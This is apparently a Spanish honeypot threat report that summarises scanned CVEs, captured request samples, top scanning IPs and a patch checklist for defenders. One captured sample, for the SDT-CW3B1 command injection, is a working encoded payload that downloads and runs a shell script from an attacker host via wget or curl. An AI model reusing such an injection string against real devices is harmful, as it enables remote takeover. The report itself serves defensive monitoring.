Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	No figura en CISA KEV.
EPSS	94 % de probabilidad de explotación en los próximos 30 días.
Fechas	Publicada el 27/04/2022 (hace 4 años); primera vez vista en los sensores el 20/10/2026.
Actividad en el periodo	2 intentos (1 con carga real) desde 1 IP en 1 sensor, entre el 20/10/2026 y el 20/10/2026. Sensores: España.
Servicio y detección	HTTP, Tráfico de red (Suricata). Detectado con plantillas Nuclei y Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial); T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/cgi-bin/admin.cgi?Command=sysCommand&Cmd=%3Bcd%20%2Ftmp%7C%7Ccd%20%2Fvar%2Ftmp%7C%7Ccd%20%2F%3B%20%28wget%20-q%20-O-%20http%3A%2F%2F176.65.139.196%2Fbins%2Fkla.sh%20%7C%20sh%20%7C%7C%20curl%20-s%20http%3A%2F%2F176.65.139.196%2Fbins%2Fkla.sh%20%7C%20sh%29`
Qué hacer	Afecta a la versión 1.1.0: actualizar.
Corrección indicada (inglés)	Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-46422 https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?usp=sharing http://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html

CVE-2021-41349 · Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Inyectar código en la web (XSS)
Producto (registro CVE)	Microsoft Exchange Server 2013 Cumulative Update 23 y Microsoft Exchange Server 2016 Cumulative Update 21
Descripción oficial (inglés)	Microsoft Exchange Server Spoofing Vulnerability
Firma que lo detectó	Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
Gravedad (CVSS)	Media (6,5) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C
Explotación conocida	No figura en CISA KEV.
EPSS	93 % de probabilidad de explotación en los próximos 30 días.
Fechas	Publicada el 10/11/2021 (hace 4 años); primera vez vista en los sensores el 03/07/2026.
Actividad en el periodo	15 intentos (0 con carga real) desde 15 IPs en 4 sensores, entre el 19/10/2026 y el 28/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTPS, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)

Ejemplo capturado	`/autodiscover/autodiscover.json?@zdi/Powershell`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Microsoft Exchange Server 2013 Cumulative Update 23: desde 15.00.0 hasta antes de 15.00.1497.026; Microsoft Exchange Server 2016 Cumulative Update 21: desde 15.01.0 hasta antes de 15.01.2308.020.
Corrección indicada (inglés)	Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
Mientras tanto	Activar las reglas XSS del WAF y la cabecera Content-Security-Policy.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-41349 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349 https://www.microsoft.com/en-us/download/details.aspx?id=103643

CVE-2026-1731 · BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA)

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	BeyondTrust Remote Support(RS) & Privileged Remote Access(PRA)
Descripción oficial (inglés)	BeyondTrust Remote Support (RS) and certain older versions of Privileged Remote Access (PRA) contain a critical pre-authentication remote code execution vulnerability. By sending specially crafted requests, an unauthenticated remote attacker may be able to execute operating system commands in the context of the site user.
Firma que lo detectó	BeyondTrust Remote Support - Unauthenticated WebSocket RCE
Gravedad (CVSS)	Crítica (9,9) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:H/SA:L
Tipo de fallo (CWE)	CWE-78
Explotación conocida	Sí, figura en CISA KEV desde el 13/02/2026. Uso en ransomware: **sí, conocido**.
EPSS	93 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 06/02/2026 (hace 8 meses); primera vez vista en los sensores el 27/10/2026.
Actividad en el periodo	1 intentos (0 con carga real) desde 1 IP en 1 sensor, entre el 27/10/2026 y el 27/10/2026. Sensores: España.
Servicio y detección	Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/get_mech_list?version=3`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: BeyondTrust Remote Support(RS) & Privileged Remote Access(PRA): hasta RS 25.3.1 incluida, hasta PRA 24.3.4 incluida.
Corrección indicada (inglés)	Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2026-1731 https://beyondtrustcorp.service-now.com/csm?id=csm_kb_article&sysparm_article=KB0023293 https://www.beyondtrust.com/trust-center/security-advisories/bt26-02

CVE-2020-8654 · EyesOfNetwork

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Descripción oficial (inglés)	An issue was discovered in EyesOfNetwork 5.3. An authenticated web user with sufficient privileges could abuse the AutoDiscovery module to run arbitrary OS commands via the /module/module_frame/index.php autodiscovery.php target field.
Firma que lo detectó	EyesOfNetwork 5.1-5.3 - SQL Injection/Remote Code Execution
Gravedad (CVSS)	Alta (8,8) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-78
Explotación conocida	No figura en CISA KEV.
EPSS	92 % de probabilidad de explotación en los próximos 30 días.
Fechas	Publicada el 07/02/2020 (hace 6 años); primera vez vista en los sensores el 17/07/2026.
Actividad en el periodo	2 intentos (0 con carga real) desde 2 IPs en 2 sensores, entre el 23/10/2026 y el 28/10/2026. Sensores: Estados Unidos y Singapur.
Servicio y detección	Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/css/eonweb.css`
Qué hacer	Afecta de la 5.1 a la 5.3: actualizar por encima.
Corrección indicada (inglés)	Upgrade to a patched version of EyesOfNetwork or apply the necessary security patches to mitigate the vulnerabilities.
Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2020-8654 https://github.com/EyesOfNetworkCommunity/eonweb/issues/50 http://packetstormsecurity.com/files/156266/EyesOfNetwork-5.3-Remote-Code-Execution.html

CVE-2023-40044 · Progress WS_FTP Server

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Ejecutar código en el servidor
Producto (registro CVE)	Progress Software Corporation WS_FTP Server
Descripción oficial (inglés)	In WS_FTP Server versions prior to 8.7.4 and 8.8.2, a pre-authenticated attacker could leverage a .NET deserialization vulnerability in the Ad Hoc Transfer module to execute remote commands on the underlying WS_FTP Server operating system.
Firma que lo detectó	WS_FTP Server - Insecure Deserialization
Gravedad (CVSS)	Crítica (10,0) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-502
Explotación conocida	Sí, figura en CISA KEV desde el 05/10/2023. Uso en ransomware: **sí, conocido**.
EPSS	90 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 27/09/2023 (hace 3 años); primera vez vista en los sensores el 07/07/2026.
Actividad en el periodo	6 intentos (0 con carga real) desde 6 IPs en 4 sensores, entre el 23/10/2026 y el 27/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	HTTP, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/AHT/AHT_UI/public/js/app.min.js`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: Progress Software Corporation WS_FTP Server: desde 8.8.0 hasta antes de 8.8.2, desde 8.7.0 hasta antes de 8.7.4.
Corrección indicada (inglés)	Update Progress WS_FTP Server to version 8.7.4 or 8.8.2 or later that properly validates deserialization input in the Ad Hoc Transfer module.

Mientras tanto	Si no se puede parchear ya, retirar el servicio de Internet o dejarlo accesible solo por VPN, y bloquear en el WAF o el proxy inverso las rutas afectadas.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2023-40044 https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023 https://www.progress.com/ws_ftp

CVE-2021-41282 · pfSense

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Otro tipo de fallo
Descripción oficial (inglés)	diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (i.e., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
Firma que lo detectó	pfSense - Arbitrary File Write
Gravedad (CVSS)	Alta (8,8) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-74
Explotación conocida	No figura en CISA KEV.
EPSS	87 % de probabilidad de explotación en los próximos 30 días.
Fechas	Publicada el 01/03/2022 (hace 4 años); primera vez vista en los sensores el 03/07/2026.
Actividad en el periodo	21 intentos (0 con carga real) desde 12 IPs en 4 sensores, entre el 22/10/2026 y el 25/10/2026. Sensores: España, Estados Unidos, Singapur y Suecia.
Servicio y detección	Elasticsearch, HTTP, HTTPS, Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`GET /test.php HTTP/1.1`
Qué hacer	Aplicar la última actualización del fabricante.
Corrección indicada (inglés)	Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
Mientras tanto	Reducir la exposición del servicio a Internet hasta aplicar la actualización.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2021-41282 https://www.shielder.it/advisories/ https://www.shielder.it/advisories/pfsense-remote-command-execution/

CVE-2019-7194 · QNAP Photo Station

Prioridad	**Alta (ransomware)**. Plazo orientativo: en 30 días.
Qué permite	Leer ficheros del servidor
Producto (registro CVE)	QNAP NAS devices running Photo Station
Descripción oficial (inglés)	This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.
Firma que lo detectó	QNAP Photo Station < 6.0.3 - Remote Code Execution
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-22
Explotación conocida	Sí, figura en CISA KEV desde el 08/06/2022. Uso en ransomware: **sí, conocido**.
EPSS	83 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: activa; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 05/12/2019 (hace 6 años); primera vez vista en los sensores el 06/07/2026.
Actividad en el periodo	13 intentos (0 con carga real) desde 11 IPs en 3 sensores, entre el 21/10/2026 y el 28/10/2026. Sensores: España, Estados Unidos y Singapur.
Servicio y detección	HTTP, Tráfico de red (Suricata), Web (HTTP/HTTPS). Detectado con plantillas Nuclei.
Técnica ATT&CK	T1595.002 Vulnerability Scanning (reconocimiento)
Ejemplo capturado	`/cgi-bin/authLogin.cgi`

Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: QNAP NAS devices running Photo Station: QTS 4.4.1: Photo Station before version 6.0.3, QTS 4.3.4 - QTS 4.4.0: Photo Station before version 5.7.10, QTS 4.3.0 - QTS 4.3.3: Photo Station before version 5.4.9, QTS 4.2.6: Photo Station before version 5.2.11.
Corrección indicada (inglés)	Upgrade to QNAP Photo Station version 6.0.3 or later.
Mientras tanto	Bloquear en el WAF las secuencias de recorrido de rutas (../ y sus codificaciones) y comprobar que el servicio no corre con más permisos de los necesarios.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2019-7194 https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

CVE-2024-44000 · Wordpress LiteSpeed Cache Plugin debug.log Access Attempt

Prioridad	**Alta**. Plazo orientativo: en 30 días.
Qué permite	Otro tipo de fallo
Producto (registro CVE)	LiteSpeed Technologies LiteSpeed Cache
Descripción oficial (inglés)	Insufficiently Protected Credentials vulnerability in LiteSpeed Technologies LiteSpeed Cache litespeed-cache allows Authentication Bypass.This issue affects LiteSpeed Cache: from n/a through < 6.5.0.1.
Firma que lo detectó	ET WEB_SPECIFIC_APPS Wordpress LiteSpeed Cache Plugin debug.log Access Attempt (CVE-2024-44000)
Gravedad (CVSS)	Crítica (9,8) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de fallo (CWE)	CWE-522
Explotación conocida	No figura en CISA KEV.
EPSS	82 % de probabilidad de explotación en los próximos 30 días.
Valoración CISA (SSVC)	Explotación: sin pruebas; Automatizable: sí; Impacto técnico: total
Fechas	Publicada el 20/10/2024 (hace 2 años); primera vez vista en los sensores el 23/08/2026.
Actividad en el periodo	1 intentos (1 con carga real) desde 1 IP en 1 sensor, entre el 28/10/2026 y el 28/10/2026. Sensores: España.
Servicio y detección	Tráfico de red (Suricata). Detectado con Suricata (ET Open).
Técnica ATT&CK	T1190 Exploit Public-Facing Application (acceso inicial)
Ejemplo capturado	`{"url": "/wp-content/debug.log", "length": 0, "status": 200, "hostname": "[sensor]", "protocol": "HTTP/1.1", "http_method": "GET", "http_user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36", "http_content_type": "text/html"}`
Qué hacer	Aplicar la última actualización del fabricante. Versiones afectadas según el registro CVE: LiteSpeed Technologies LiteSpeed Cache: hasta 6.5.0.1 incluida.
Corrección indicada (inglés)	Update LiteSpeed Cache plugin to version 6.5.0 or later and disable debug logging.
Mientras tanto	Reducir la exposición del servicio a Internet hasta aplicar la actualización.
Referencias	https://nvd.nist.gov/vuln/detail/CVE-2024-44000 https://patchstack.com/database/Wordpress/Plugin/litespeed-cache/vulnerability/wordpress-litespeed-cache-plugin-6-5-0-1-unauthenticated-account-takeover-vulnerability?_s_id=cve https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-641-unauthenticated-sensitive-information-exposure-via-log-files

6. Vulnerabilidades vistas por primera vez

En el periodo anterior de la misma duración se buscaron 72 vulnerabilidades distintas; en este, 85. De las del periodo anterior, 20 ya no aparecen.

9 no se habían visto nunca antes en los sensores. Son los objetivos nuevos de los atacantes y merecen atención aunque tengan pocos intentos: una vulnerabilidad recién publicada suele explotarse en masa en cuestión de días.

CVE	Producto	Publicada	Primer intento	Intentos	IPs	Prioridad
CVE-2026-109619	PHP Group PHP	21/10/2026	23/10/2026	44	4	Urgente
CVE-2012-1823	PHP	11/05/2012	22/10/2026	76	16	Alta
CVE-2021-46422	SDT-CW3B1	27/04/2022	20/10/2026	2	1	Alta
CVE-2026-1731	BeyondTrust Remote Support (RS) and Priv…	06/02/2026	27/10/2026	1	1	Alta (ransomware)
CVE-2024-28000	WordPress LiteSpeed Cache	21/08/2024	25/10/2026	4	4	Alta
CVE-2025-31125	Vitejs	31/03/2025	19/10/2026	3	1	Alta
CVE-2024-7591	Kemp LoadMaster Load Balancer	05/09/2024	25/10/2026	2	2	Alta
CVE-2026-44262	Scramble Laravel	12/05/2026	24/10/2026	1	1	Media
CVE-2002-0953	PHP Possible php Remote File Inclusion A…	04/10/2002	22/10/2026	20	10	Media

7. Direcciones IP que prueban más vulnerabilidades

Las direcciones que han probado más vulnerabilidades distintas. Suelen ser escáneres automáticos que recorren Internet con listas de exploits. Son buenas candidatas a bloqueo en el perímetro, salvo las que GreyNoise identifica como escáneres legítimos.

IP	País	ASN	CVE	Intentos	Reales	Sens.	Actividad	GreyNoise
213.209.159.175	Alemania	AS208137 Feo Prest SRL	13	68	0	1	20/10/2026 a 22/10/2026	Maliciosa
169.58.252.153	Francia	AS51167 Contabo GmbH	10	15	0	1	23/10/2026 a 23/10/2026	Maliciosa
16.145.254.172	Estados Unidos	AS16509 Amazon.com, Inc.	10	11	2	2	23/10/2026 a 23/10/2026	-
96.126.96.45	Estados Unidos	AS63949 Akamai Connected Cloud	9	15	7	1	23/10/2026 a 23/10/2026	-
32.186.61.190	Estados Unidos	AS16509 Amazon.com, Inc.	9	10	2	1	23/10/2026 a 23/10/2026	-
13.223.159.102	Estados Unidos	AS14618 Amazon.com, Inc.	9	10	2	1	27/10/2026 a 27/10/2026	-
52.89.92.126	Estados Unidos	AS16509 Amazon.com, Inc.	9	10	2	1	23/10/2026 a 23/10/2026	-
13.211.99.170	Australia	AS16509 Amazon.com, Inc.	9	10	2	1	27/10/2026 a 27/10/2026	-
77.237.242.95	Francia	AS51167 Contabo GmbH	8	21	0	1	24/10/2026 a 24/10/2026	-
172.232.186.12	Estados Unidos	AS63949 Akamai Connected Cloud	8	8	0	1	28/10/2026 a 28/10/2026	-
102.244.97.185	Cameroon	AS36912 Orange Cameroun SA	7	100	11	1	20/10/2026 a 23/10/2026	Maliciosa
165.99.207.153	Pakistán	AS45773 PERN AS Content Servie…	7	97	8	1	26/10/2026 a 26/10/2026	Maliciosa
184.185.26.51	Estados Unidos	AS22773 Cox Communications Inc…	7	97	8	1	22/10/2026 a 22/10/2026	Maliciosa
157.245.84.42	Estados Unidos	AS14061 DigitalOcean, LLC	7	97	8	1	24/10/2026 a 24/10/2026	Maliciosa
184.154.245.42	Estados Unidos	AS398991 X99	7	97	8	1	29/10/2026 a 29/10/2026	-
41.223.139.111	Nigeria	AS37077 American University of…	7	97	8	1	23/10/2026 a 23/10/2026	Maliciosa
171.237.170.148	Vietnam	AS7552 Viettel Group	7	97	8	1	23/10/2026 a 23/10/2026	Maliciosa
125.141.72.225	Corea del Sur	AS4766 Korea Telecom	7	97	8	1	23/10/2026 a 23/10/2026	Maliciosa
193.233.254.105	Alemania	AS213887 WAIcore Ltd	7	97	8	1	23/10/2026 a 23/10/2026	-
94.154.43.196	Países Bajos	AS219502 Storm Industries LLC	7	10	3	1	20/10/2026 a 20/10/2026	-

CVE: vulnerabilidades distintas probadas. Reales: intentos con carga de explotación. GreyNoise solo tiene ficha de una parte de las direcciones; un guion significa sin datos, no que sea inofensiva.

8. Lista de comprobación para el equipo técnico

Para cada producto, comprobar si la empresa lo tiene publicado en Internet y en qué versión. Si la respuesta es sí y la versión está afectada, aplicar la acción. Se incluyen los productos de prioridad urgente, alta y media; los 2 de prioridad baja están en la tabla de prioridad de parcheo.

Hecho	Producto y CVE	Versiones afectadas	Acción	Plazo
[ ]	PHP Group PHP · CVE-2026-109619, CVE-2024-4577	CVE-2024-4577: rama 8.1 anterior a 8.1.29, rama 8.2 anterior a 8.2.20, rama 8.3 anterior a 8.3.8; CVE-2026-109619: rama 8.2 anterior a 8.2.35, rama 8.3 anterior a 8.3.36, rama 8.4 anterior a 8.4.27, rama 8.5 anterior a 8…	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Fortinet FortiOS · CVE-2018-13379, CVE-2022-42475	CVE-2022-42475: desde 7.2.0 hasta 7.2.1 incluida, desde 7.0.0 hasta 7.0.7 incluida, desde 2.0.0 hasta 2.0.11 incluida, desde 1.2.0 hasta 1.2.13 incluida y 2 más; desde 7.2.0 hasta 7.2.2 incluida, desde 7.0.0 hasta 7.0.8 …	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Microsoft Exchange Server · CVE-2021-26855	CVE-2021-26855: desde 15.00.0 hasta antes de 15.00.1395.012; desde 15.00.0 hasta antes de 15.00.1473.006	Aplicar la última actualización del fabricante.	En 7 días
[ ]	DrayTek Multiple Vigor Routers · CVE-2020-8515	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Apache HTTP Server · CVE-2021-41773, CVE-2021-42013	CVE-2021-41773: Apache HTTP Server 2.4 2.4.49; CVE-2021-42013: Apache HTTP Server 2.4.49, Apache HTTP Server 2.4.50	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) · CVE-2020-3452	CVE-2020-3452: anteriores a 9.6.4.42, anteriores a 9.8.4.20, anteriores a 9.9.2.74, anteriores a 9.10.1.42 y 2 más	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Dasan Gigabit Passive Optical Network (GPON) Routers · CVE-2018-10561, CVE-2018-10562	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Hikvision Security cameras web server · CVE-2021-36260	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Joomla! · CVE-2023-23752	CVE-2023-23752: 4.0.0-4.2.7	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Meta React Server Components · CVE-2025-55182	CVE-2025-55182: desde 19.0.0 hasta 19.0.0 incluida, desde 19.1.0 hasta 19.1.1 incluida, desde 19.2.0 hasta 19.2.0 incluida; desde 19.0.0 hasta 19.0.0 incluida, desde 19.1.0 hasta 19.1.1 incluida, desde 19.2.0 hasta 19.2.…	Aplicar la última actualización del fabricante.	En 7 días
[ ]	Cisco IOS XE Web UI · CVE-2023-20198	CVE-2023-20198: 16.1.1, 16.1.2, 16.1.3, 16.2.1 y 182 más	Aplicar la última actualización del fabricante.	En 7 días
[ ]	PHPUnit · CVE-2017-9841	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	GNU Bourne-Again Shell (Bash) · CVE-2014-6271	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	TP-Link Archer AX21 · CVE-2023-1389	CVE-2023-1389: All versions prior to version 1.14 Build 20230219	Aplicar la última actualización del fabricante.	En 30 días

Hecho	Producto y CVE	Versiones afectadas	Acción	Plazo
[ ]	Apache Log4j2 · CVE-2021-44228	CVE-2021-44228: desde 2.0-beta9 hasta antes de log4j-core*	Aplicar la última actualización del fabricante.	En 30 días
[ ]	PHP · CVE-2012-1823	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Synacor Zimbra Collaboration Suite (ZCS) · CVE-2019-9670, CVE-2019-9621	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Fortinet Multiple Products · CVE-2022-40684	CVE-2022-40684: FortiOS 7.2.1, 7.2.0, 7.0.6, 7.0.5, 7.0.4, 7.0.3, 7.0.2, 7.0.1, 7.0.0; FortiProxy 7.2.0, 7.0.6, 7.0.5, 7.0.4, 7.0.3, 7.0.2, 7.0.1, 7.0.0; FortiSwitchManager 7.2.0, 7.0.0	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Laravel Ignition · CVE-2021-3129	Ver la ficha o el aviso del fabricante	Actualizar a una versión posterior a la 8.4.2.	En 30 días
[ ]	Elasticsearch · CVE-2015-1427	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Palo Alto Networks PAN-OS · CVE-2024-0012	CVE-2024-0012: desde 11.2.0 hasta antes de 11.2.4-h1, desde 11.1.0 hasta antes de 11.1.5-h1, desde 11.0.0 hasta antes de 11.0.6-h1, desde 10.2.0 hasta antes de 10.2.12-h2	Aplicar la última actualización del fabricante.	En 30 días
[ ]	ThinkPHP noneCms · CVE-2018-20062	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Metabase · CVE-2023-38646, CVE-2026-72898	CVE-2026-72898: desde x.58.0 hasta antes de x.58.24, desde x.59.0 hasta antes de x.59.21, desde x.60.0 hasta antes de x.60.17, desde x.61.0 hasta antes de x.61.11 y 2 más	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Adobe Commerce and Magento Open Source · CVE-2022-24086	CVE-2022-24086: hasta 2.4.3-p1 incluida, hasta 2.3.7-p2 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	n8n · CVE-2025-68613	CVE-2025-68613: >= 0.211.0, < 1.120.4, = 1.121.0	Aplicar la última actualización del fabricante.	En 30 días
[ ]	WebPros cPanel & WHM and WP2 (WordPress Squared) · CVE-2026-41940	CVE-2026-41940: desde 11.40.0.0 hasta antes de 11.86.0.41, desde 11.88.0.0 hasta antes de 11.94.0.28, desde 11.96.0.0 hasta antes de 11.102.0.39, desde 11.104.0.0 hasta antes de 11.110.0.97 y 7 más; anteriores a 11.136.1…	Aplicar la última actualización del fabricante.	En 30 días
[ ]	phpMyAdmin · CVE-2009-1151	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	SDT-CW3B1 · CVE-2021-46422	Ver la ficha o el aviso del fabricante	Afecta a la versión 1.1.0: actualizar.	En 30 días
[ ]	Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting · CVE-2021-41349	CVE-2021-41349: desde 15.00.0 hasta antes de 15.00.1497.026; desde 15.01.0 hasta antes de 15.01.2308.020	Aplicar la última actualización del fabricante.	En 30 días
[ ]	BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) · CVE-2026-1731	CVE-2026-1731: hasta RS 25.3.1 incluida, hasta PRA 24.3.4 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	EyesOfNetwork · CVE-2020-8654	Ver la ficha o el aviso del fabricante	Afecta de la 5.1 a la 5.3: actualizar por encima.	En 30 días
[ ]	Progress WS_FTP Server · CVE-2023-40044	CVE-2023-40044: desde 8.8.0 hasta antes de 8.8.2, desde 8.7.0 hasta antes de 8.7.4	Aplicar la última actualización del fabricante.	En 30 días

Hecho	Producto y CVE	Versiones afectadas	Acción	Plazo
[ ]	pfSense · CVE-2021-41282	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	QNAP Photo Station · CVE-2019-7194	CVE-2019-7194: QTS 4.4.1: Photo Station before version 6.0.3, QTS 4.3.4 - QTS 4.4.0: Photo Station before version 5.7.10, QTS 4.3.0 - QTS 4.3.3: Photo Station before version 5.4.9, QTS 4.2.6: Photo Station before version…	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Wordpress LiteSpeed Cache Plugin debug.log Access Attempt · CVE-2024-44000	CVE-2024-44000: hasta 6.5.0.1 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	CrushFTP · CVE-2023-43177	Ver la ficha o el aviso del fabricante	Actualizar a la versión 10.5.1 o posterior.	En 30 días
[ ]	D-Link Devices Home Network Administration Protocol Command Execution · CVE-2016-6563	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Vite · CVE-2025-30208	CVE-2025-30208: < 4.5.10, >= 5.0.0, < 5.4.15, >= 6.0.0, < 6.0.12, >= 6.1.0, < 6.1.2 y 1 más	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Red Hat JBoss · CVE-2010-0738, CVE-2010-1428	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Gravity SMTP WordPress Plugin · CVE-2026-4020	CVE-2026-4020: hasta 2.1.4 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	WordPress LiteSpeed Cache · CVE-2024-28000	CVE-2024-28000: hasta 6.3.0.1 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Vitejs · CVE-2025-31125	CVE-2025-31125: >= 6.2.0, < 6.2.4, >= 6.1.0, < 6.1.3, >= 6.0.0, < 6.0.13, >= 5.0.0, < 5.4.16 y 1 más	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Apache OFBiz · CVE-2023-50968	CVE-2023-50968: hasta 18.12.10 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	D-Link DAP-1620 · CVE-2021-46381	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Apache Tomcat Remote Command Execution · CVE-2020-9484	CVE-2020-9484: Apache Tomcat 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54, 7.0.0 to 7.0.103	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Cuppa CMS · CVE-2022-37190, CVE-2022-37191	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Kemp LoadMaster Load Balancer · CVE-2024-7591	CVE-2024-7591: desde 7.2.40.0 hasta antes de 7.2.60.1	Aplicar la última actualización del fabricante.	En 30 días
